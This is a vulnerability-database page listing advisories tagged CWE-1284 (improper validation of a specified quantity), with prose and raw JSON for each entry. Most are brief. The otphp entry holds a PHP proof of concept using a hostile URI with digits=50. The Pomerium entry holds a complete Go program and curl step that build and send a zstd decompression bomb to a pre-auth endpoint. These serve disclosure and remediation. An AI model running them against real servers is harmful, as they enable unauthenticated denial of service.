Common Weakness Enumeration

CWE-1284

Allowed

Improper Validation of Specified Quantity in Input

Abstraction: Base · Status: Incomplete

The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.

494 vulnerabilities reference this CWE, most recent first.

GHSA-G7CV-X9WX-38GX

Vulnerability from github – Published: 2024-10-03 18:30 – Updated: 2024-12-17 21:30
VLAI
Details

NLnet Labs Unbound up to and including version 1.21.0 contains a vulnerability when handling replies with very large RRsets that it needs to perform name compression for. Malicious upstreams responses with very large RRsets can cause Unbound to spend a considerable time applying name compression to downstream replies. This can lead to degraded performance and eventually denial of service in well orchestrated attacks. The vulnerability can be exploited by a malicious actor querying Unbound for the specially crafted contents of a malicious zone with very large RRsets. Before Unbound replies to the query it will try to apply name compression which was an unbounded operation that could lock the CPU until the whole packet was complete. Unbound version 1.21.1 introduces a hard limit on the number of name compression calculations it is willing to do per packet. Packets that need more compression will result in semi-compressed packets or truncated packets, even on TCP for huge messages, to avoid locking the CPU for long. This change should not affect normal DNS traffic.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-8508"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-606"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-03T17:15:15Z",
    "severity": "MODERATE"
  },
  "details": "NLnet Labs Unbound up to and including version 1.21.0 contains a vulnerability when handling replies with very large RRsets that it needs to perform name compression for. Malicious upstreams responses with very large RRsets can cause Unbound to spend a considerable time applying name compression to downstream replies. This can lead to degraded performance and eventually denial of service in well orchestrated attacks. The vulnerability can be exploited by a malicious actor querying Unbound for the specially crafted contents of a malicious zone with very large RRsets. Before Unbound replies to the query it will try to apply name compression which was an unbounded operation that could lock the CPU until the whole packet was complete. Unbound version 1.21.1 introduces a hard limit on the number of name compression calculations it is willing to do per packet. Packets that need more compression will result in semi-compressed packets or truncated packets, even on TCP for huge messages, to avoid locking the CPU for long. This change should not affect normal DNS traffic.",
  "id": "GHSA-g7cv-x9wx-38gx",
  "modified": "2024-12-17T21:30:34Z",
  "published": "2024-10-03T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8508"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00009.html"
    },
    {
      "type": "WEB",
      "url": "https://www.nlnetlabs.nl/downloads/unbound/CVE-2024-8508.txt"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/10/04/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G7M4-839X-CH6V

Vulnerability from github – Published: 2026-06-18 20:45 – Updated: 2026-06-18 20:45
VLAI
Summary
spomky-labs/otphp: Unbounded digits parameter in a provisioning URI triggers an uncaught DivisionByZeroError in OTP generation
Details

Summary

The digits parameter parsed from a provisioning URI is validated only with a lower bound ($value > 0) and has no upper bound (src/OTP.php:353-357). OTP generation computes $code % (10 ** $this->getDigits()) (src/OTP.php:283). When digits is large enough that 10 ** digits overflows PHP's integer range and the (int) cast yields 0 (around digits >= 40 on 64-bit PHP 8.x), the modulo operand becomes 0 and PHP raises a DivisionByZeroError.

Impact

OTPHP\Factory::loadFromProvisioningUri() forwards the attacker-controlled digits query value to setParameter('digits', $value), so a hostile URI such as otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP&digits=50 produces an OTP object whose at(), now(), and verify() all throw DivisionByZeroError. Because DivisionByZeroError extends Error (not Exception), callers that guard OTP generation with a catch (\Exception) do not catch it, turning a malformed URI into an unhandled fatal error (denial of service of the verification path).

Measured threshold on PHP 8.3: digits = 30 works, digits >= 40 throws DivisionByZeroError: Modulo by zero.

Affected component

  • src/OTP.php:353-357digits parameter callback (no upper bound)
  • src/OTP.php:283$code % (10 ** $this->getDigits())

Proof of concept

use OTPHP\Factory;
use OTPHP\InternalClock;

$otp = Factory::loadFromProvisioningUri(
    'otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP&digits=50',
    new InternalClock()
);
$otp->at(0); // DivisionByZeroError: Modulo by zero (escapes catch (\Exception))

Remediation

Enforce a sane upper bound on digits in the parameter validation callback (e.g. reject values above 8–10, the practical range for OTPs) so that an out-of-range value is rejected with a documented exception instead of producing an object that fails later with an uncatchable Error.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "spomky-labs/otphp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-369"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T20:45:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `digits` parameter parsed from a provisioning URI is validated only with a lower bound (`$value \u003e 0`) and has no upper bound (`src/OTP.php:353-357`). OTP generation computes `$code % (10 ** $this-\u003egetDigits())` (`src/OTP.php:283`). When `digits` is large enough that `10 ** digits` overflows PHP\u0027s integer range and the `(int)` cast yields `0` (around `digits \u003e= 40` on 64-bit PHP 8.x), the modulo operand becomes `0` and PHP raises a `DivisionByZeroError`.\n\n## Impact\n\n`OTPHP\\Factory::loadFromProvisioningUri()` forwards the attacker-controlled `digits` query value to `setParameter(\u0027digits\u0027, $value)`, so a hostile URI such as `otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP\u0026digits=50` produces an OTP object whose `at()`, `now()`, and `verify()` all throw `DivisionByZeroError`. Because `DivisionByZeroError` extends `Error` (not `Exception`), callers that guard OTP generation with a `catch (\\Exception)` do not catch it, turning a malformed URI into an unhandled fatal error (denial of service of the verification path).\n\nMeasured threshold on PHP 8.3: `digits = 30` works, `digits \u003e= 40` throws `DivisionByZeroError: Modulo by zero`.\n\n## Affected component\n\n- `src/OTP.php:353-357` \u2014 `digits` parameter callback (no upper bound)\n- `src/OTP.php:283` \u2014 `$code % (10 ** $this-\u003egetDigits())`\n\n## Proof of concept\n\n```php\nuse OTPHP\\Factory;\nuse OTPHP\\InternalClock;\n\n$otp = Factory::loadFromProvisioningUri(\n    \u0027otpauth://totp/Alice?secret=JBSWY3DPEHPK3PXP\u0026digits=50\u0027,\n    new InternalClock()\n);\n$otp-\u003eat(0); // DivisionByZeroError: Modulo by zero (escapes catch (\\Exception))\n```\n\n## Remediation\n\nEnforce a sane upper bound on `digits` in the parameter validation callback (e.g. reject values above 8\u201310, the practical range for OTPs) so that an out-of-range value is rejected with a documented exception instead of producing an object that fails later with an uncatchable `Error`.",
  "id": "GHSA-g7m4-839x-ch6v",
  "modified": "2026-06-18T20:45:48Z",
  "published": "2026-06-18T20:45:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Spomky-Labs/otphp/security/advisories/GHSA-g7m4-839x-ch6v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/spomky-labs/otphp/GHSA-g7m4-839x-ch6v.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Spomky-Labs/otphp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "spomky-labs/otphp: Unbounded digits parameter in a provisioning URI triggers an uncaught DivisionByZeroError in OTP generation"
}

GHSA-G944-359J-5VF2

Vulnerability from github – Published: 2023-05-30 21:30 – Updated: 2024-04-04 04:23
VLAI
Details

An issue was found in Action Launcher v50.5 allows an attacker to escalate privilege via modification of the intent string to function update.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-47029"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-30T20:15:09Z",
    "severity": "HIGH"
  },
  "details": "An issue was found in Action Launcher v50.5 allows an attacker to escalate privilege via modification of the intent string to function update.",
  "id": "GHSA-g944-359j-5vf2",
  "modified": "2024-04-04T04:23:44Z",
  "published": "2023-05-30T21:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47029"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LianKee/SO-CVEs/blob/main/CVEs/CVE-2022-47029/CVE%20detailed.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GGW3-5987-RX77

Vulnerability from github – Published: 2026-07-15 23:08 – Updated: 2026-07-15 23:08
VLAI
Summary
Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback
Details

Summary

The HPKE V2 URL decode path in pkg/hpke/url.go decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy's /.pomerium/callback endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender's identity is validated. Because Pomerium's HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation — crashing or degrading the proxy process.

Severity

High (CVSS 3.1: 7.5)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack Vector: Network — the /.pomerium/callback route on the proxy service is externally reachable.
  • Attack Complexity: Low — the receiver public key is publicly available at /.well-known/pomerium/hpke-public-key; no special conditions apply.
  • Privileges Required: None — the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).
  • User Interaction: None
  • Scope: Unchanged — the DoS is confined to the Pomerium proxy process itself.
  • Confidentiality Impact: None
  • Integrity Impact: None
  • Availability Impact: High — repeated attacks can exhaust process memory and crash the proxy.

Affected Component

  • pkg/hpke/url.godecodeQueryStringV2 (line 171)
  • internal/authenticateflow/stateless.goCallback (line 385–393)
  • proxy/handlers.goCallback (line 105–107), route registered at line 53–54

CWE

  • CWE-400: Uncontrolled Resource Consumption
  • CWE-1284: Improper Validation of Specified Quantity in Input

Description

Unbounded zstd Decompression in decodeQueryStringV2

pkg/hpke/url.go defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (url.go:166–176):

var zstdDecoder, _ = zstd.NewReader(nil,
    zstd.WithDecoderLowmem(true),
)

func decodeQueryStringV2(raw []byte) (url.Values, error) {
    bs, err := zstdDecoder.DecodeAll(raw, nil)  // no size limit
    if err != nil {
        return nil, err
    }
    return url.ParseQuery(string(bs))
}

WithDecoderLowmem(true) reduces the decoder's own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.

By contrast, the codebase applies LimitReader when decompressing in internal/zero/api/download.go:75:

r = io.LimitReader(zr, maxUncompressedBlobSize)  // 1 GB cap

The protection is available but not applied to decodeQueryStringV2, confirming this is an inconsistent defense.

HPKE Does Not Block the Attack — Sender Validation Is Too Late

DecryptURLValues for the V2 format (url.go:107–126):

case IsEncryptedURLV2(encrypted):
    senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2))  // attacker-controlled
    // ...
    sealed, err := decode(encrypted.Get(paramQueryV2))
    // ...
    message, err := Open(receiverPrivateKey, senderPublicKey, sealed)  // HPKE decrypt — succeeds
    // ...
    decrypted, err = decodeQueryStringV2(message)  // zstd decompress — UNBOUNDED

Open uses SetupAuth (HPKE authenticated mode). It only verifies that sealed was created with a key pair whose public half is senderPublicKey. Because the attacker supplies both k (sender public key) and q (sealed payload), they choose a consistent key pair themselves. The Open call succeeds with their own freshly-generated keys.

Sender identity is validated after DecryptURLValues returns (stateless.go:391–397):

senderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)
// ... zstd already completed ...
err = s.validateSenderPublicKey(r.Context(), senderPublicKey)  // now rejects attacker

The decompression memory spike occurs unconditionally before rejection.

Pre-Auth Execution Chain on the Proxy Callback

The proxy registers the callback route without any session or signature middleware (proxy/handlers.go:53–54):

c := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()
c.Path("/").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)

For Stateless-flow deployments, p.Callbackauthenticateflow.Stateless.Callbackhpke.DecryptURLValues (unbounded decompress) → validateSenderPublicKey (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.

Pomerium's HPKE receiver public key is served publicly and without authentication (internal/controlplane/http.go:82):

root.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(
    traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))

The full attack requires no credentials of any kind.

Self-hosted (Stateful) deployments are NOT affected. The stateful Callback calls s.VerifySignature(r) as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.

Proof of Concept

# Step 1: Retrieve the receiver public key
curl -so receiver.pub "https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key" | xxd | head

# Step 2: Build and send the decompression bomb (requires Go)
package main

import (
    "encoding/base64"
    "fmt"
    "net/http"
    "net/url"
    "strings"

    "github.com/klauspost/compress/zstd"
    "github.com/pomerium/pomerium/pkg/hpke"
)

func main() {
    // Fetch receiver public key from the target
    resp, _ := http.Get("https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key")
    pubBytes := make([]byte, 32)
    resp.Body.Read(pubBytes)
    resp.Body.Close()

    receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)

    // Attacker generates their own sender key pair
    attackerPriv, _ := hpke.GeneratePrivateKey()

    // Build a decompression bomb: 128 MiB of repeated bytes → ~19 KB compressed
    plain := "x=" + strings.Repeat("A", 128*1024*1024)
    enc, _ := zstd.NewWriter(nil)
    compressed := enc.EncodeAll([]byte(plain), nil)

    // Seal the bomb with attacker's private key → server's public key
    sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)

    form := url.Values{
        "k": {attackerPriv.PublicKey().String()},
        "q": {base64.RawURLEncoding.EncodeToString(sealed)},
    }

    // Deliver to the pre-auth callback endpoint
    target := "https://TARGET_HOSTNAME/.pomerium/callback/?" + form.Encode()
    fmt.Printf("Sending bomb to: %s\n", target)
    http.Get(target)
    fmt.Println("Done — server allocated ~256 MB per request")
}

Repeated calls amplify the effect proportionally. The server-side rejection from validateSenderPublicKey does not prevent the allocation.

Impact

  • Pre-auth denial of service against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / authenticate.pomerium.app).
  • An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20–40 KB payload.
  • Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.
  • No credentials, session cookies, or insider access required — only network reachability to the proxy's HTTPS port.

Recommended Remediation

Option 1: Cap decompressed output size in decodeQueryStringV2 (preferred)

Apply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:

const maxDecompressedQuerySize = 1 << 20 // 1 MiB — generous for any real query string

func decodeQueryStringV2(raw []byte) (url.Values, error) {
    bs, err := zstdDecoder.DecodeAll(raw, nil)
    if err != nil {
        return nil, err
    }
    if len(bs) > maxDecompressedQuerySize {
        return nil, fmt.Errorf("hpke: decompressed query string exceeds maximum size (%d bytes)", len(bs))
    }
    return url.ParseQuery(string(bs))
}

This fixes the root cause at the lowest layer and protects all callers unconditionally.

Option 2: Validate sender public key before decompressing

Restructure DecryptURLValues so the sender's public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into DecryptURLValues or splitting the decrypt and decompress steps:

// In Stateless.Callback, before calling DecryptURLValues:
senderPublicKey, _ := PublicKeyFromString(r.Form.Get("k"))
if err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {
    return err  // reject before decompression
}
// then proceed with decryption and decompression

This eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in decodeQueryStringV2, leaving other current or future callers at risk.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pomerium/pomerium"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.32.6"
            },
            {
              "fixed": "0.32.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50285"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T23:08:18Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe HPKE V2 URL decode path in `pkg/hpke/url.go` decompresses attacker-controlled zstd data without any size limit. On Pomerium deployments using the stateless authentication flow (Pomerium Zero / hosted authenticate), the proxy\u0027s `/.pomerium/callback` endpoint is reachable without credentials and processes attacker-crafted HPKE-encrypted payloads before the sender\u0027s identity is validated. Because Pomerium\u0027s HPKE receiver public key is publicly served, an attacker can encrypt a decompression bomb, deliver it to the callback endpoint, and cause unbounded memory allocation \u2014 crashing or degrading the proxy process.\n\n## Severity\n\n**High** (CVSS 3.1: 7.5)\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n- **Attack Vector:** Network \u2014 the `/.pomerium/callback` route on the proxy service is externally reachable.\n- **Attack Complexity:** Low \u2014 the receiver public key is publicly available at `/.well-known/pomerium/hpke-public-key`; no special conditions apply.\n- **Privileges Required:** None \u2014 the callback endpoint is intentionally pre-authentication (it is the OAuth landing page).\n- **User Interaction:** None\n- **Scope:** Unchanged \u2014 the DoS is confined to the Pomerium proxy process itself.\n- **Confidentiality Impact:** None\n- **Integrity Impact:** None\n- **Availability Impact:** High \u2014 repeated attacks can exhaust process memory and crash the proxy.\n\n## Affected Component\n\n- `pkg/hpke/url.go` \u2014 `decodeQueryStringV2` (line 171)\n- `internal/authenticateflow/stateless.go` \u2014 `Callback` (line 385\u2013393)\n- `proxy/handlers.go` \u2014 `Callback` (line 105\u2013107), route registered at line 53\u201354\n\n## CWE\n\n- **CWE-400**: Uncontrolled Resource Consumption\n- **CWE-1284**: Improper Validation of Specified Quantity in Input\n\n## Description\n\n### Unbounded zstd Decompression in `decodeQueryStringV2`\n\n`pkg/hpke/url.go` defines two decoders. The V1 path is plaintext. The V2 path zstd-compresses the query string before encryption. Decoding reverses this with no output size cap (`url.go:166\u2013176`):\n\n```go\nvar zstdDecoder, _ = zstd.NewReader(nil,\n    zstd.WithDecoderLowmem(true),\n)\n\nfunc decodeQueryStringV2(raw []byte) (url.Values, error) {\n    bs, err := zstdDecoder.DecodeAll(raw, nil)  // no size limit\n    if err != nil {\n        return nil, err\n    }\n    return url.ParseQuery(string(bs))\n}\n```\n\n`WithDecoderLowmem(true)` reduces the decoder\u0027s own memory footprint but applies no cap on the output. A 19 KB input can produce 128 MiB of output; a 38 KB input can produce 256 MiB.\n\nBy contrast, the codebase applies `LimitReader` when decompressing in `internal/zero/api/download.go:75`:\n\n```go\nr = io.LimitReader(zr, maxUncompressedBlobSize)  // 1 GB cap\n```\n\nThe protection is available but not applied to `decodeQueryStringV2`, confirming this is an inconsistent defense.\n\n### HPKE Does Not Block the Attack \u2014 Sender Validation Is Too Late\n\n`DecryptURLValues` for the V2 format (`url.go:107\u2013126`):\n\n```go\ncase IsEncryptedURLV2(encrypted):\n    senderPublicKey, err = PublicKeyFromString(encrypted.Get(paramSenderPublicKeyV2))  // attacker-controlled\n    // ...\n    sealed, err := decode(encrypted.Get(paramQueryV2))\n    // ...\n    message, err := Open(receiverPrivateKey, senderPublicKey, sealed)  // HPKE decrypt \u2014 succeeds\n    // ...\n    decrypted, err = decodeQueryStringV2(message)  // zstd decompress \u2014 UNBOUNDED\n```\n\n`Open` uses `SetupAuth` (HPKE authenticated mode). It only verifies that `sealed` was created with a key pair whose public half is `senderPublicKey`. Because the attacker supplies both `k` (sender public key) and `q` (sealed payload), they choose a consistent key pair themselves. The `Open` call succeeds with their own freshly-generated keys.\n\nSender identity is validated **after** `DecryptURLValues` returns (`stateless.go:391\u2013397`):\n\n```go\nsenderPublicKey, values, err := hpke.DecryptURLValues(s.hpkePrivateKey, r.Form)\n// ... zstd already completed ...\nerr = s.validateSenderPublicKey(r.Context(), senderPublicKey)  // now rejects attacker\n```\n\nThe decompression memory spike occurs unconditionally before rejection.\n\n### Pre-Auth Execution Chain on the Proxy Callback\n\nThe proxy registers the callback route without any session or signature middleware (`proxy/handlers.go:53\u201354`):\n\n```go\nc := r.PathPrefix(endpoints.PathPomeriumCallback).Subrouter()\nc.Path(\"/\").Handler(httputil.HandlerFunc(p.Callback)).Methods(http.MethodGet)\n```\n\nFor Stateless-flow deployments, `p.Callback` \u2192 `authenticateflow.Stateless.Callback` \u2192 `hpke.DecryptURLValues` (unbounded decompress) \u2192 `validateSenderPublicKey` (rejects). This is by design: the callback endpoint must be pre-auth because it is the landing page after an IdP OAuth redirect.\n\nPomerium\u0027s HPKE receiver public key is served publicly and without authentication (`internal/controlplane/http.go:82`):\n\n```go\nroot.Path(endpoints.PathHPKEPublicKey).Methods(http.MethodGet).Handler(\n    traceHandler(hpke_handlers.HPKEPublicKeyHandler(hpkePublicKey)))\n```\n\nThe full attack requires no credentials of any kind.\n\n**Self-hosted (Stateful) deployments are NOT affected.** The stateful `Callback` calls `s.VerifySignature(r)` as its very first operation, verifying an HMAC-SHA256 signature over the URL before touching the body. If the signature is missing or invalid, the function returns immediately without decrypting or decompressing anything.\n\n## Proof of Concept\n\n```bash\n# Step 1: Retrieve the receiver public key\ncurl -so receiver.pub \"https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key\" | xxd | head\n\n# Step 2: Build and send the decompression bomb (requires Go)\n```\n\n```go\npackage main\n\nimport (\n    \"encoding/base64\"\n    \"fmt\"\n    \"net/http\"\n    \"net/url\"\n    \"strings\"\n\n    \"github.com/klauspost/compress/zstd\"\n    \"github.com/pomerium/pomerium/pkg/hpke\"\n)\n\nfunc main() {\n    // Fetch receiver public key from the target\n    resp, _ := http.Get(\"https://TARGET_HOSTNAME/.well-known/pomerium/hpke-public-key\")\n    pubBytes := make([]byte, 32)\n    resp.Body.Read(pubBytes)\n    resp.Body.Close()\n\n    receiverPub, _ := hpke.PublicKeyFromBytes(pubBytes)\n\n    // Attacker generates their own sender key pair\n    attackerPriv, _ := hpke.GeneratePrivateKey()\n\n    // Build a decompression bomb: 128 MiB of repeated bytes \u2192 ~19 KB compressed\n    plain := \"x=\" + strings.Repeat(\"A\", 128*1024*1024)\n    enc, _ := zstd.NewWriter(nil)\n    compressed := enc.EncodeAll([]byte(plain), nil)\n\n    // Seal the bomb with attacker\u0027s private key \u2192 server\u0027s public key\n    sealed, _ := hpke.Seal(attackerPriv, receiverPub, compressed)\n\n    form := url.Values{\n        \"k\": {attackerPriv.PublicKey().String()},\n        \"q\": {base64.RawURLEncoding.EncodeToString(sealed)},\n    }\n\n    // Deliver to the pre-auth callback endpoint\n    target := \"https://TARGET_HOSTNAME/.pomerium/callback/?\" + form.Encode()\n    fmt.Printf(\"Sending bomb to: %s\\n\", target)\n    http.Get(target)\n    fmt.Println(\"Done \u2014 server allocated ~256 MB per request\")\n}\n```\n\nRepeated calls amplify the effect proportionally. The server-side rejection from `validateSenderPublicKey` does not prevent the allocation.\n\n## Impact\n\n- **Pre-auth denial of service** against any Pomerium proxy using the hosted/stateless authenticate flow (Pomerium Zero / `authenticate.pomerium.app`).\n- An attacker who can reach the proxy can allocate hundreds of megabytes of server memory per HTTP request by sending a ~20\u201340 KB payload.\n- Sustained attack with concurrent requests can exhaust available memory and crash the proxy process, blocking all user access to every application protected by that Pomerium deployment.\n- No credentials, session cookies, or insider access required \u2014 only network reachability to the proxy\u0027s HTTPS port.\n\n## Recommended Remediation\n\n### Option 1: Cap decompressed output size in `decodeQueryStringV2` (preferred)\n\nApply a reasonable upper bound on the decompressed query string. Legitimate HPKE-encrypted query strings contain URL parameters (redirect URIs, scopes, timestamps) and are never more than a few hundred kilobytes:\n\n```go\nconst maxDecompressedQuerySize = 1 \u003c\u003c 20 // 1 MiB \u2014 generous for any real query string\n\nfunc decodeQueryStringV2(raw []byte) (url.Values, error) {\n    bs, err := zstdDecoder.DecodeAll(raw, nil)\n    if err != nil {\n        return nil, err\n    }\n    if len(bs) \u003e maxDecompressedQuerySize {\n        return nil, fmt.Errorf(\"hpke: decompressed query string exceeds maximum size (%d bytes)\", len(bs))\n    }\n    return url.ParseQuery(string(bs))\n}\n```\n\nThis fixes the root cause at the lowest layer and protects all callers unconditionally.\n\n### Option 2: Validate sender public key before decompressing\n\nRestructure `DecryptURLValues` so the sender\u0027s public key is compared against the known authenticate service key before the decompression step is reached. This requires passing the expected public key into `DecryptURLValues` or splitting the decrypt and decompress steps:\n\n```go\n// In Stateless.Callback, before calling DecryptURLValues:\nsenderPublicKey, _ := PublicKeyFromString(r.Form.Get(\"k\"))\nif err := s.validateSenderPublicKey(r.Context(), senderPublicKey); err != nil {\n    return err  // reject before decompression\n}\n// then proceed with decryption and decompression\n```\n\nThis eliminates the DoS attack path entirely for the callback endpoint but does not fix the underlying missing bound in `decodeQueryStringV2`, leaving other current or future callers at risk.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
  "id": "GHSA-ggw3-5987-rx77",
  "modified": "2026-07-15T23:08:18Z",
  "published": "2026-07-15T23:08:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pomerium/pomerium/security/advisories/GHSA-ggw3-5987-rx77"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pomerium/pomerium/commit/593eb81c7e5bdbe6071a30d330f374967869577f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pomerium/pomerium"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pomerium/pomerium/releases/tag/v0.32.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pomerium Pre-Auth Memory Exhaustion via Unbounded zstd Decompression in HPKE Callback"
}

GHSA-GMRH-WFM2-3FP2

Vulnerability from github – Published: 2026-02-04 00:30 – Updated: 2026-02-04 00:30
VLAI
Details

IBM Cloud Pak for Business Automation 25.0.0 through 25.0.0 Interim Fix 002, 24.0.1 through 24.0.1 Interim Fix 005, and 24.0.0 through 24.0.0 Interim Fix 007 could allow an authenticated user to cause a denial of service or corrupt existing data due to the improper validation of input length.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-36094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-03T23:16:05Z",
    "severity": "MODERATE"
  },
  "details": "IBM Cloud Pak for Business Automation 25.0.0 through 25.0.0 Interim Fix 002, 24.0.1 through 24.0.1 Interim Fix 005, and 24.0.0 through 24.0.0 Interim Fix 007 could allow an authenticated user to cause a denial of service or corrupt existing data due to the improper validation of input length.",
  "id": "GHSA-gmrh-wfm2-3fp2",
  "modified": "2026-02-04T00:30:29Z",
  "published": "2026-02-04T00:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36094"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7259318"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GQ9C-8CR6-3QH3

Vulnerability from github – Published: 2024-11-26 09:30 – Updated: 2024-11-29 06:35
VLAI
Details

Florent Thiéry has found that selected Axis devices were vulnerable to handling certain ethernet frames which could lead to the Axis device becoming unavailable in the network. Axis has released patched AXIS OS versions for the highlighted flaw for products that are still under AXIS OS software support. Please refer to the Axis security advisory for more information and solution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-47257"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-26T08:15:07Z",
    "severity": "HIGH"
  },
  "details": "Florent Thi\u00e9ry has found that selected Axis devices were vulnerable to handling certain ethernet frames which could lead to the Axis device becoming unavailable in the network. \nAxis has released patched AXIS OS versions for the highlighted flaw for products that are still under AXIS OS software support. Please refer to the Axis security advisory for more information and solution.",
  "id": "GHSA-gq9c-8cr6-3qh3",
  "modified": "2024-11-29T06:35:28Z",
  "published": "2024-11-26T09:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47257"
    },
    {
      "type": "WEB",
      "url": "https://www.axis.com/dam/public/b7/76/b2/cve-2024-47257pdf-en-US-458044.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.axis.com/dam/public/permalink/231088/cve-2024-47257pdf-en-US_InternalID-231088.pdf"
    }
  ],
